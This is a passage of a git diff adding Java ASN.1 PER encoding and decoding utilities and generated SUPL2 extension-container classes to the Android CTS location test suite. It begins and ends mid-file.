+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import javax.annotation.Nullable;
+
+/**
+ * A component of an {@link Asn1Choice}
+ */
+public interface ChoiceComponent {
+ int ordinal();
+
+ Asn1Object createElement();
+
+ @Nullable Asn1Tag getTag();
+
+ boolean isImplicitTagging();
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/PacketBuilder.java b/tests/tests/location/src/android/location/cts/asn1/base/PacketBuilder.java
new file mode 100644
index 0000000..2dee27b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/PacketBuilder.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+/**
+ */
+public class PacketBuilder {
+ private BitStream bitStream = new BitStream();
+
+ public void append(BitStream appendix) {
+ if (appendix.beginsByteAligned()) {
+ bitStream.spoolToByteBoundary();
+ }
+ int bitsToAppend = appendix.getBitCount();
+ byte[] bytes = appendix.getPaddedBytes();
+ for (int i = 0; bitsToAppend >= 8; i++, bitsToAppend -= 8) {
+ bitStream.appendByte(bytes[i]);
+ }
+ if (bitsToAppend != 0) {
+ byte highBits = bytes[bytes.length - 1];
+ byte lowBits = (byte) ((highBits & 0xFF)
+ >> (8 - bitsToAppend));
+ bitStream.appendLowBits(bitsToAppend, lowBits);
+ }
+ }
+
+ public byte[] getPaddedBytes() {
+ return bitStream.getPaddedBytes();
+ }
+
+ public int getBitCount() {
+ return bitStream.getBitCount();
+ }
+
+ public void appendAll(Iterable<BitStream> bitStreams) {
+ for (BitStream bitStream : bitStreams) {
+ append(bitStream);
+ }
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/PerAlignedUtils.java b/tests/tests/location/src/android/location/cts/asn1/base/PerAlignedUtils.java
new file mode 100644
index 0000000..1255aaa
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/PerAlignedUtils.java
@@ -0,0 +1,328 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.math.BigInteger;
+import java.util.Arrays;
+
+/**
+ * Basic algorithms for aligned PER encoding and decoding, ASN.1 X.691-0207.
+ *
+ */
+public class PerAlignedUtils {
+
+ public static final int ONE_K = 1024;
+ public static final int SIXTEEN_K = 16 * ONE_K;
+ public static final int SIXTYFOUR_K = 64 * ONE_K;
+
+
+ /**
+ * Encodes whole numbers up to 64K range according to X.691-0207, 10.5.
+ */
+ public static BitStream encodeSmallConstrainedWholeNumber(int value,
+ int minimumValue,
+ int maximumValue) {
+ int normalizedValue = value - minimumValue;
+ // Note: range here means one less than in ASN.1 X.691-0207, 10.5.
+ int range = maximumValue - minimumValue;
+ return encodeNormalizedSmallConstrainedWholeNumber(normalizedValue, range);
+ }
+
+ /**
+ * Encodes the difference between the actual value and the minimum allowed
+ * value, the {@code normalizedValue}, for whole numbers up to 64K range
+ * according to X.691-0207, 10.5.
+ *
+ * <p>Note: range here means one less than in ASN.1 X.691-0207, 10.5., i.e.
+ * here it is the difference between the maximum allowed value and the minimum
+ * allowed value.
+ */
+ public static BitStream encodeNormalizedSmallConstrainedWholeNumber(
+ int normalizedValue, int range) {
+ Preconditions.checkArgument(range < SIXTYFOUR_K, "range >= 64K");
+ Preconditions.checkArgument(normalizedValue >= 0,
+ "negative normalized value");
+ BitStream result = new BitStream();
+ if (range == 0) {
+ return result;
+ }
+ if (range < 128) {
+ result.appendLowBits(leastBitsToEncode((byte) range),
+ (byte) normalizedValue);
+ return result;
+ }
+ if (range >= 255) {
+ result.setBeginByteAligned();
+ }
+ if (range < 256) {
+ result.appendByte((byte) (normalizedValue));
+ return result;
+ }
+ result.appendByte((byte) ((normalizedValue & 0xFF00) >>> 8));
+ result.appendByte((byte) (normalizedValue & 0x00FF));
+ return result;
+ }
+
+ /**
+ * Decodes whole numbers up to 64K range according to X.691-0207, 10.5.
+ */
+ public static int decodeSmallConstrainedWholeNumber(BitStreamReader reader,
+ int minimumValue,
+ int maximumValue) {
+ // Note: range here means one less than in ASN.1 X.691-0207, 10.5.
+ int range = maximumValue - minimumValue;
+ int normalizedResult =
+ decodeNormalizedSmallConstrainedWholeNumber(reader, range);
+ return normalizedResult + minimumValue;
+ }
+
+ /**
+ * Decodes the difference between the actual value and the minimum allowed
+ * value for whole numbers up to 64K range according to X.691-0207, 10.5.
+ *
+ * <p>Note: range here means one less than in ASN.1 X.691-0207, 10.5., i.e.
+ * here it is the difference between the maximum allowed value and the minimum
+ * allowed value.
+ */
+ public static int decodeNormalizedSmallConstrainedWholeNumber(
+ BitStreamReader reader, int range) {
+ if (range < 0) {
+ throw new IllegalArgumentException("range < 0");
+ }
+ if (range >= SIXTYFOUR_K) {
+ throw new IllegalArgumentException("range >= 64K");
+ }
+ if (range == 0) {
+ return 0;
+ }
+ if (range < 128) {
+ return reader.readLowBits(leastBitsToEncode((byte) range));
+ }
+ if (range >= 255) {
+ reader.spoolToByteBoundary();
+ }
+ if (range < 256) {
+ return (reader.readByte() & 0xFF);
+ }
+ return ((reader.readByte() & 0xFF) << 8)
+ + (reader.readByte() & 0xFF);
+ }
+
+ private static int leastBitsToEncode(byte value) {
+ int unsignedByte = value & 0xFF;
+ for (int bits = 1; bits < 8; bits++) {
+ if (unsignedByte < (1 << bits)) {
+ return bits;
+ }
+ }
+ return 8;
+ }
+
+ public static Iterable<BitStream> encodeNormallySmallWholeNumber(int value) {
+ if (value < 64) {
+ BitStream result = new BitStream();
+ result.appendBit(false);
+ result.appendLowBits(6, (byte) value);
+ return ImmutableList.of(result);
+ }
+ throw new UnsupportedOperationException("normally small numbers >= 64 "
+ + "unimplemented");
+ }
+
+ public static int decodeNormallySmallWholeNumber(BitStreamReader reader) {
+ if (reader.readBit()) {
+ throw new UnsupportedOperationException("normally small numbers >= 64 "
+ + "unimplemented");
+ }
+ return reader.readLowBits(6) & 0xFF;
+ }
+
+ /**
+ * Encodes length determinant for a constrained length byte[] according to
+ * X.691-0207, 10.9.3.3 and up.
+ */
+ public static Iterable<BitStream> encodeConstrainedLengthOfBytes(
+ byte[] bytes, int minimumLength, int maximumLength) {
+ if (maximumLength >= SIXTYFOUR_K) {
+ return encodeSemiConstrainedLengthOfBytes(bytes);
+ }
+
+ BitStream lengthDeterminant = encodeSmallConstrainedWholeNumber(
+ bytes.length, minimumLength, maximumLength);
+ if (bytes.length == 0) {
+ return ImmutableList.of(lengthDeterminant);
+ }
+ BitStream value = new BitStream();
+ value.setBeginByteAligned();
+ for (byte aByte : bytes) {
+ value.appendByte(aByte);
+ }
+ return ImmutableList.of(lengthDeterminant, value);
+
+ }
+
+ /**
+ * Decodes a constrained length byte[] with length determinant according to
+ * X.691-0207, 10.9.3.3 and up.
+ */
+ public static byte[] decodeConstrainedLengthOfBytes(
+ BitStreamReader reader, int minimumLength, int maximumLength) {
+ if (maximumLength >= SIXTYFOUR_K) {
+ return decodeSemiConstrainedLengthOfBytes(reader);
+ }
+ int length = decodeSmallConstrainedWholeNumber(
+ reader, minimumLength, maximumLength);
+ if (length == 0) {
+ return new byte[0];
+ }
+ byte[] result = new byte[length];
+ reader.spoolToByteBoundary();
+ for (int i = 0; i < length; i++) {
+ result[i] = reader.readByte();
+ }
+ return result;
+ }
+
+ /**
+ * Encodes length determinant for a semi-constrained length byte[] according
+ * to X.691-0207, 10.9.3.5.
+ */
+ public static Iterable<BitStream> encodeSemiConstrainedLengthOfBytes(
+ byte[] bytes) {
+ int n = bytes.length;
+ if (n < SIXTEEN_K) {
+ BitStream result = encodeSemiConstrainedLength(n);
+ result.setBeginByteAligned();
+ for (byte b : bytes) {
+ result.appendByte(b);
+ }
+ return ImmutableList.of(result);
+ }
+ throw new UnsupportedOperationException("Arrays > 16K unimplemented.");
+ }
+ /**
+ * Encodes length determinant for a semi-constrained length byte[] according
+ * to X.691-0207, 10.9.3.5.
+ */
+ public static Iterable<BitStream> encodeUnconstrainedLengthOfBytes(
+ byte[] bytes) {
+ // Length for unconsrtained and semiconstrained integers is encoded by the
+ // same rules.
+ return encodeSemiConstrainedLengthOfBytes(bytes);
+ }
+ /**
+ * Decodes length determinant for a semi-constrained length byte[] according
+ * to X.691-0207, 10.9.3.5.
+ */
+ public static byte[] decodeSemiConstrainedLengthOfBytes(
+ BitStreamReader reader) {
+ reader.spoolToByteBoundary();
+ int length = decodeSemiConstrainedLength(reader);
+ byte[] result = new byte[length];
+ for (int i = 0; i < length; i++) {
+ result[i] = reader.readByte();
+ }
+ return result;
+ }
+ /**
+ * Decodes length determinant for a semi-constrained length byte[] according
+ * to X.691-0207, 10.9.3.5.
+ */
+ public static byte[] decodeUnconstrainedLengthOfBytes(
+ BitStreamReader reader) {
+ // Length for unconsrtained and semiconstrained integers is encoded by the
+ // same rules.
+ return decodeSemiConstrainedLengthOfBytes(reader);
+ }
+ /**
+ * Encodes non-negative numbers according to X.691-0207, 10.3.
+ */
+ public static byte[] encodeBigNonNegativeWholeNumber(BigInteger bigInteger) {
+ byte[] twosComplement = bigInteger.toByteArray();
+ return twosComplement[0] == 0
+ ? Arrays.copyOfRange(twosComplement, 1, twosComplement.length)
+ : twosComplement;
+ }
+
+ /**
+ * Decodes non-negative numbers according to X.691-0207, 10.3.
+ */
+ public static BigInteger decodeBigNonNegativeWholeNumber(byte[] encoded) {
+ return new BigInteger(1, encoded);
+ }
+
+ /**
+ * Encodes length determinant according to X.691-0207, 10.9.3.6.
+ */
+ public static BitStream encodeSemiConstrainedLength(int value) {
+ if (value <= 127) {
+ BitStream result = new BitStream();
+ result.setBeginByteAligned();
+ result.appendBit(false);
+ result.appendLowBits(7, (byte) value);
+ return result;
+ } else if (value < SIXTEEN_K) {
+ BitStream result = new BitStream();
+ result.setBeginByteAligned();
+ result.appendBit(true);
+ result.appendBit(false);
+ result.appendLowBits(6, (byte) (value >>> 8));
+ result.appendByte((byte) (value & 0xFF));
+ return result;
+ }
+ throw new UnsupportedOperationException("Length values > " +
+ SIXTEEN_K + "unimplemented");
+ }
+
+ /**
+ * Decodes length determinant according to X.691-0207, 10.9.3.6.
+ */
+ public static int decodeSemiConstrainedLength(BitStreamReader reader) {
+ reader.spoolToByteBoundary();
+ if (!reader.readBit()) {
+ return reader.readLowBits(7);
+ } else if (!reader.readBit()) {
+ return (reader.readLowBits(6) << 8) + (reader.readByte() & 0xFF);
+ } else {
+ throw new UnsupportedOperationException("Length values > " +
+ SIXTEEN_K + "unimplemented");
+ }
+ }
+
+ /*
+ * Encodes an Asn1Object into a Open type field (X.691-0207, 10.2), used
+ * mostly for encoding Sequence and SetOf extension additions. A decode method
+ * hasn't been added as the extension additions should decoded
+ * by their relevent Asn1Object decoders.
+ */
+ public static Iterable<BitStream> encodeOpenTypeField(
+ Asn1Object object){
+ PacketBuilder packetBuilder = new PacketBuilder();
+ packetBuilder.appendAll(object.encodePerAligned());
+ return encodeSemiConstrainedLengthOfBytes(packetBuilder.getPaddedBytes());
+ }
+
+ public static Asn1Object decodeOpenTypeField(
+ BitStreamReader reader, Asn1Object asn1Object) {
+ byte [] encodedBytes = decodeSemiConstrainedLengthOfBytes(reader);
+ asn1Object.decodePerAligned(new BitStreamReader(encodedBytes));
+ return asn1Object;
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/PerUnalignedUtils.java b/tests/tests/location/src/android/location/cts/asn1/base/PerUnalignedUtils.java
new file mode 100644
index 0000000..63f962f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/PerUnalignedUtils.java
@@ -0,0 +1,262 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTEEN_K;
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+import com.google.common.collect.ImmutableList;
+
+import java.math.BigInteger;
+import java.util.Arrays;
+
+/**
+ * Basic algorithms for Unaligned PER encoding and decoding, ASN.1 X.691-0207.
+ *
+ */
+public class PerUnalignedUtils {
+ /**
+ * Encodes whole numbers up to 64K range according to X.691-0207, 10.5.
+ */
+ public static BitStream encodeConstrainedWholeNumber(
+ int value, int minimumValue, int maximumValue) {
+ int normalizedValue = value - minimumValue;
+ // Note: range here means one less than in ASN.1 X.691-0207, 10.5.
+ int range = maximumValue - minimumValue;
+ return encodeNormalizedConstrainedWholeNumber(normalizedValue, range);
+ }
+
+ /**
+ * Encodes the difference between the actual value and the minimum allowed
+ * value, the {@code normalizedValue}, for whole numbers up to 64K range
+ * according to X.691-0207, 10.5.
+ *
+ * <p>Note: range here means one less than in ASN.1 X.691-0207, 10.5., i.e.
+ * here it is the difference between the maximum allowed value and the minimum
+ * allowed value.
+ */
+ public static BitStream encodeNormalizedConstrainedWholeNumber(
+ long normalizedValue, long range) {
+ BitStream result = new BitStream();
+ int bits = leastBitsToEncodeLong(range);
+ for (int i = bits - 1; i >= 0; --i) {
+ result.appendBit((normalizedValue >> i & 1) != 0);
+ }
+ return result;
+ }
+
+ public static int decodeConstrainedWholeNumber(
+ BitStreamReader reader, int minimumValue, int maximumValue) {
+ // Note: range here means one less than in ASN.1 X.691-0207, 10.5.
+ long range = (long) maximumValue - (long) minimumValue;
+ long normalizedResult =
+ decodeNormalizedConstrainedWholeNumber(reader, range);
+ return (int) normalizedResult + minimumValue;
+ }
+
+ /**
+ * Decodes the difference between the actual value and the minimum allowed
+ * value for whole numbers up to 64K range according to X.691-0207, 10.5.
+ *
+ * <p>Note: range here means one less than in ASN.1 X.691-0207, 10.5., i.e.
+ * here it is the difference between the maximum allowed value and the minimum
+ * allowed value.
+ */
+ public static long decodeNormalizedConstrainedWholeNumber(
+ BitStreamReader reader, long range) {
+ long result = 0;
+ int bits = leastBitsToEncodeLong(range);
+ for (int i = 0; i < bits; ++i) {
+ result <<= 1;
+ result |= reader.readBit() ? 1 : 0;
+ }
+ return result;
+ }
+
+ private static int leastBitsToEncodeLong(long value) {
+ for (int bits = 1; bits < 64; bits++) {
+ if (value < (1L << bits)) {
+ return bits;
+ }
+ }
+ return 64;
+ }
+
+ public static Iterable<BitStream> encodeNormallySmallWholeNumber(int value) {
+ if (value < 64) {
+ BitStream result = new BitStream();
+ result.appendBit(false);
+ result.appendLowBits(6, (byte) value);
+ return ImmutableList.of(result);
+ }
+ throw new UnsupportedOperationException("normally small numbers >= 64 "
+ + "unimplemented");
+ }
+
+ public static int decodeNormallySmallWholeNumber(BitStreamReader reader) {
+ if (reader.readBit()) {
+ throw new UnsupportedOperationException("normally small numbers >= 64 "
+ + "unimplemented");
+ }
+ return reader.readLowBits(6) & 0xFF;
+ }
+
+ /**
+ * Encodes length determinant for a constrained length byte[] according to
+ * X.691-0207, 10.9.3.3 and up.
+ */
+ public static Iterable<BitStream> encodeConstrainedLengthOfBytes(
+ byte[] bytes, int minimumLength, int maximumLength) {
+ if (maximumLength >= SIXTYFOUR_K) {
+ return encodeSemiConstrainedLengthOfBytes(bytes);
+ }
+
+ BitStream lengthDeterminant = encodeConstrainedWholeNumber(
+ bytes.length, minimumLength, maximumLength);
+ if (bytes.length == 0) {
+ return ImmutableList.of(lengthDeterminant);
+ }
+ BitStream value = new BitStream();
+ for (byte aByte : bytes) {
+ value.appendByte(aByte);
+ }
+ return ImmutableList.of(lengthDeterminant, value);
+ }
+
+ /**
+ * Decodes a constrained length byte[] with length determinant according to
+ * X.691-0207, 10.9.3.3 and up.
+ */
+ public static byte[] decodeConstrainedLengthOfBytes(
+ BitStreamReader reader, int minimumLength, int maximumLength) {
+ if (maximumLength >= SIXTYFOUR_K) {
+ return decodeSemiConstrainedLengthOfBytes(reader);
+ }
+ int length = decodeConstrainedWholeNumber(
+ reader, minimumLength, maximumLength);
+ if (length == 0) {
+ return new byte[0];
+ }
+ byte[] result = new byte[length];
+ for (int i = 0; i < length; i++) {
+ result[i] = reader.readByte();
+ }
+ return result;
+ }
+
+ /**
+ * Encodes length determinant for a semi-constrained length byte[] according
+ * to X.691-0207, 10.9.3.5.
+ */
+ public static Iterable<BitStream> encodeSemiConstrainedLengthOfBytes(
+ byte[] bytes) {
+ int n = bytes.length;
+ if (n < SIXTEEN_K) {
+ BitStream result = encodeSemiConstrainedLength(n);
+ for (byte b : bytes) {
+ result.appendByte(b);
+ }
+ return ImmutableList.of(result);
+ }
+ throw new UnsupportedOperationException("Arrays > 16K unimplemented.");
+ }
+
+ /**
+ * Decodes length determinant for a semi-constrained length byte[] according
+ * to X.691-0207, 10.9.3.5.
+ */
+ public static byte[] decodeSemiConstrainedLengthOfBytes(
+ BitStreamReader reader) {
+ int length = decodeSemiConstrainedLength(reader);
+ byte[] result = new byte[length];
+ for (int i = 0; i < length; i++) {
+ result[i] = reader.readByte();
+ }
+ return result;
+ }
+
+ /**
+ * Encodes non-negative numbers according to X.691-0207, 10.3.
+ */
+ public static byte[] encodeBigNonNegativeWholeNumber(BigInteger bigInteger) {
+ byte[] twosComplement = bigInteger.toByteArray();
+ return twosComplement[0] == 0
+ ? Arrays.copyOfRange(twosComplement, 1, twosComplement.length)
+ : twosComplement;
+ }
+
+ /**
+ * Decodes non-negative numbers according to X.691-0207, 10.3.
+ */
+ public static BigInteger decodeBigNonNegativeWholeNumber(byte[] encoded) {
+ return new BigInteger(1, encoded);
+ }
+
+ /**
+ * Encodes length determinant according to X.691-0207, 10.9.3.6.
+ */
+ public static BitStream encodeSemiConstrainedLength(int value) {
+ if (value <= 127) {
+ BitStream result = new BitStream();
+ result.appendBit(false);
+ result.appendLowBits(7, (byte) value);
+ return result;
+ } else if (value < SIXTEEN_K) {
+ BitStream result = new BitStream();
+ result.appendBit(true);
+ result.appendBit(false);
+ result.appendLowBits(6, (byte) (value >>> 8));
+ result.appendByte((byte) (value & 0xFF));
+ return result;
+ }
+ throw new UnsupportedOperationException("Length values > " +
+ SIXTEEN_K + "unimplemented");
+ }
+
+ /**
+ * Decodes length determinant according to X.691-0207, 10.9.3.6.
+ */
+ public static int decodeSemiConstrainedLength(BitStreamReader reader) {
+ if (!reader.readBit()) {
+ return reader.readLowBits(7);
+ } else if (!reader.readBit()) {
+ return (reader.readLowBits(6) << 8) + (reader.readByte() & 0xFF);
+ } else {
+ throw new UnsupportedOperationException("Length values > " +
+ SIXTEEN_K + "unimplemented");
+ }
+ }
+
+ /*
+ * Encodes an Asn1Object into a Open type field (X.691-0207, 10.2), used
+ * mostly for encoding Sequence and SetOf extension additions. A decode method
+ * hasn't been added as the extension additions should decoded
+ * by their relevent Asn1Object decoders.
+ */
+ public static Iterable<BitStream> encodeOpenTypeField(Asn1Object object){
+ PacketBuilder packetBuilder = new PacketBuilder();
+ packetBuilder.appendAll(object.encodePerUnaligned());
+ return encodeSemiConstrainedLengthOfBytes(packetBuilder.getPaddedBytes());
+ }
+
+ public static Asn1Object decodeOpenTypeField(
+ BitStreamReader reader, Asn1Object asn1Object) {
+ byte [] encodedBytes = decodeSemiConstrainedLengthOfBytes(reader);
+ asn1Object.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return asn1Object;
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/SequenceComponent.java b/tests/tests/location/src/android/location/cts/asn1/base/SequenceComponent.java
new file mode 100644
index 0000000..53a46ce
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/SequenceComponent.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import java.util.Collection;
+
+import javax.annotation.Nullable;
+
+/**
+ * A component of an {@code Asn1Sequence}.
+ *
+ */
+public interface SequenceComponent {
+
+ boolean isExplicitlySet();
+
+ boolean hasDefaultValue();
+
+ boolean isOptional();
+
+ Asn1Object getComponentValue();
+
+ void setToNewInstance();
+
+ /**
+ * Returns tags that may be the initial tag in the BER encoding of this type.
+ */
+ Collection<Asn1Tag> getPossibleFirstTags();
+
+ @Nullable Asn1Tag getTag();
+
+ boolean isImplicitTagging();
+
+ String toIndentedString(String indent);
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java b/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java
new file mode 100755
index 0000000..993591e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.map_extensiondatatypes;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ExtensionContainer extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ExtensionContainer
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ExtensionContainer() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ExtensionContainer;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ExtensionContainer != null) {
+ return ImmutableList.of(TAG_ExtensionContainer);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ExtensionContainer from encoded stream.
+ */
+ public static ExtensionContainer fromPerUnaligned(byte[] encodedBytes) {
+ ExtensionContainer result = new ExtensionContainer();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ExtensionContainer from encoded stream.
+ */
+ public static ExtensionContainer fromPerAligned(byte[] encodedBytes) {
+ ExtensionContainer result = new ExtensionContainer();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PrivateExtensionList privateExtensionList_;
+ public PrivateExtensionList getPrivateExtensionList() {
+ return privateExtensionList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PrivateExtensionList
+ */
+ public void setPrivateExtensionList(Asn1Object value) {
+ this.privateExtensionList_ = (PrivateExtensionList) value;
+ }
+ public PrivateExtensionList setPrivateExtensionListToNewInstance() {
+ privateExtensionList_ = new PrivateExtensionList();
+ return privateExtensionList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPrivateExtensionList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPrivateExtensionList();
+ }
+
+ @Override public void setToNewInstance() {
+ setPrivateExtensionListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PrivateExtensionList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "privateExtensionList : "
+ + getPrivateExtensionList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ExtensionContainer = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtension.java
new file mode 100755
index 0000000..893aea6
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtension.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.map_extensiondatatypes;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PrivateExtension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PrivateExtension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PrivateExtension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PrivateExtension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
